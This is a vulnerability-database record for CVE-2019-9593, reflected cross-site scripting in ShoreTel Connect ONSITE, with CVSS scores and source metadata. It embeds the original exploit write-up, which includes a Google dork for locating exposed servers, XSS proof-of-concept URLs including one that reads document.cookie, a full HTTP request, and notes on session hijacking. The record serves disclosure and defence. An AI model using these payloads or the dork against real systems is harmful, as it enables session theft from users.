GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

VAR-201903-0263

Vulnerability from variot - Updated: 2024-11-23 21:52

A reflected Cross-site scripting (XSS) vulnerability in ShoreTel Connect ONSITE 18.82.2000.0 allows remote attackers to inject arbitrary web script or HTML via the page parameter. ShoreTel Connect ONSITE Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. ShoreTelConnectDirector is a simple system management that allows users to control phones, permissions, applications, trunks, and voice switches through a web interface. # Exploit Title: Shoretel Connect Multiple Vulnerability

Google Dork: inurl:/signin.php?ret=

Date: 14/06/2017

Author: Ramikan

Vendor Homepage: https://www.shoretel.com/

Software Link: https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview

Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions.

Tested on: Mozila Firefox 53.0.3 (32 bit) Browser

CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593

Category:Web Apps

Vulnerability: Reflected XSS and Session Fixation Vendor Web site: http://support.shoretel.com Version tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 Google dork: inurl:/signin.php?ret= Solution: Update to 19.49.1500.0

Vulnerability 1:Refelected XSS & Form Action Hijacking

Affected URL:

/signin.php?ret=http%3A%2F%2Fdomainname.com%2F%3Fpage%3DACCOUNT&&brand=4429769&brandUrl=https://domainname.com/site/l8o5g-->alert(1)y0gpy&page=ACCOUNT

Affected Parameter: brandUrl

Vulnerability 2: Reflected XSS

Affected URL:

/index.php/" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b

Affected Parameter: url Affected Version 19.45.1602.0

Vulnerability 3: Reflected XSS

/site/?page=jtqv8">alert(1)bi14e

Affected Parameter: page Affected Version:18.82.2000.0

GET /site/?page=jtqv8">alert(1)bi14e HTTP/1.1 Host: hostnamem User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://bdrsconference.bdrs.com/signin.php Cookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=1508247199505 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

Vulnerability 4: Session Hijacking

By exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session.

PHPSESSID, chkcookie both cookies are insecure

Show details on source website
To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201903-0263",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "connect onsite",
        "scope": "eq",
        "trust": 1.8,
        "vendor": "mitel",
        "version": "18.82.2000.0"
      },
      {
        "model": "graffiti shoretel connect onsite",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "virtual",
        "version": "18.82.2000.0"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/a:mitel:connect_onsite",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Ramikan",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "152431"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      }
    ],
    "trust": 0.7
  },
  "cve": "CVE-2019-9593",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "CVE-2019-9593",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "CNVD-2019-14967",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "exploitabilityScore": 2.8,
            "id": "CVE-2019-9593",
            "impactScore": 2.7,
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "trust": 1.0,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 6.1,
            "baseSeverity": "Medium",
            "confidentialityImpact": "Low",
            "exploitabilityScore": null,
            "id": "CVE-2019-9593",
            "impactScore": null,
            "integrityImpact": "Low",
            "privilegesRequired": "None",
            "scope": "Changed",
            "trust": 0.8,
            "userInteraction": "Required",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2019-9593",
            "trust": 1.0,
            "value": "MEDIUM"
          },
          {
            "author": "NVD",
            "id": "CVE-2019-9593",
            "trust": 0.8,
            "value": "Medium"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2019-14967",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201903-177",
            "trust": 0.6,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      },
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A reflected Cross-site scripting (XSS) vulnerability in ShoreTel Connect ONSITE 18.82.2000.0 allows remote attackers to inject arbitrary web script or HTML via the page parameter. ShoreTel Connect ONSITE Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. ShoreTelConnectDirector is a simple system management that allows users to control phones, permissions, applications, trunks, and voice switches through a web interface. # Exploit Title: Shoretel Connect Multiple Vulnerability\n# Google Dork: inurl:/signin.php?ret=\n# Date: 14/06/2017\n# Author: Ramikan\n# Vendor Homepage: https://www.shoretel.com/\n# Software Link: https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview\n# Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions. \n# Tested on: Mozila Firefox 53.0.3 (32 bit) Browser\n# CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593\n# Category:Web Apps\n\n\nVulnerability: Reflected XSS and Session Fixation\nVendor Web site: http://support.shoretel.com\nVersion tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0\nGoogle dork: inurl:/signin.php?ret=\nSolution: Update to 19.49.1500.0\n\n\n\nVulnerability 1:Refelected XSS \u0026 Form Action Hijacking\n\nAffected URL:\n\n/signin.php?ret=http%3A%2F%2Fdomainname.com%2F%3Fpage%3DACCOUNT\u0026\u0026brand=4429769\u0026brandUrl=https://domainname.com/site/l8o5g--\u003e\u003cscript\u003ealert(1)\u003c/script\u003ey0gpy\u0026page=ACCOUNT\n\nAffected Parameter: brandUrl\n\n\nVulnerability 2: Reflected XSS\n\nAffected URL:\n\n/index.php/\" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b\n\nAffected Parameter: url\nAffected Version 19.45.1602.0\n\n\nVulnerability 3: Reflected XSS\n\n/site/?page=jtqv8\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003ebi14e\n\nAffected Parameter: page\nAffected Version:18.82.2000.0\n\nGET /site/?page=jtqv8\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003ebi14e HTTP/1.1\nHost: hostnamem\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://bdrsconference.bdrs.com/signin.php\nCookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=1508247199505\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\nVulnerability 4: Session Hijacking\n\nBy exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session. \n\nPHPSESSID, chkcookie both cookies are insecure",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "PACKETSTORM",
        "id": "152431"
      }
    ],
    "trust": 2.25
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2019-9593",
        "trust": 3.1
      },
      {
        "db": "PACKETSTORM",
        "id": "152431",
        "trust": 1.7
      },
      {
        "db": "EXPLOIT-DB",
        "id": "46666",
        "trust": 1.6
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177",
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "PACKETSTORM",
        "id": "152431"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      },
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "id": "VAR-201903-0263",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      }
    ],
    "trust": 1.6
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      }
    ]
  },
  "last_update_date": "2024-11-23T21:52:27.996000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top Page",
        "trust": 0.8,
        "url": "https://www.mitel.com/"
      },
      {
        "title": "Virtual Graffiti ShoreTel Connect ONSITE Security vulnerabilities",
        "trust": 0.6,
        "url": "http://123.124.177.30/web/xxk/bdxqById.tag?id=89850"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-79",
        "trust": 1.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.4,
        "url": "https://github.com/ramikan/vulnerabilities/blob/master/shoretel%20connect%20multiple%20vulnerability"
      },
      {
        "trust": 2.2,
        "url": "http://packetstormsecurity.com/files/152431/shoretel-connect-onsite-cross-site-scripting-session-fixation.html"
      },
      {
        "trust": 1.6,
        "url": "https://www.exploit-db.com/exploits/46666/"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-9593"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-9593"
      },
      {
        "trust": 0.6,
        "url": "http://cve.circl.lu/cve/cve-2019-9593"
      },
      {
        "trust": 0.6,
        "url": "https://www.exploit-db.com/exploits/46666"
      },
      {
        "trust": 0.1,
        "url": "http://support.shoretel.com"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-9592"
      },
      {
        "trust": 0.1,
        "url": "https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview"
      },
      {
        "trust": 0.1,
        "url": "https://domainname.com/site/l8o5g--\u003e\u003cscript\u003ealert(1)\u003c/script\u003ey0gpy\u0026page=account"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-9591"
      },
      {
        "trust": 0.1,
        "url": "https://www.shoretel.com/"
      },
      {
        "trust": 0.1,
        "url": "http://bdrsconference.bdrs.com/signin.php"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "PACKETSTORM",
        "id": "152431"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      },
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "db": "PACKETSTORM",
        "id": "152431"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      },
      {
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-05-22T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "date": "2019-04-05T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "date": "2019-04-07T03:33:33",
        "db": "PACKETSTORM",
        "id": "152431"
      },
      {
        "date": "2019-03-06T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      },
      {
        "date": "2019-03-06T16:29:00.380000",
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-05-22T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "date": "2019-04-05T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2019-002315"
      },
      {
        "date": "2022-10-08T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      },
      {
        "date": "2024-11-21T04:51:55.493000",
        "db": "NVD",
        "id": "CVE-2019-9593"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Virtual Graffiti ShoreTel Connect ONSITE Cross-Site Scripting Vulnerability",
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-14967"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      }
    ],
    "trust": 1.2
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "xss",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "152431"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201903-177"
      }
    ],
    "trust": 0.7
  }
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.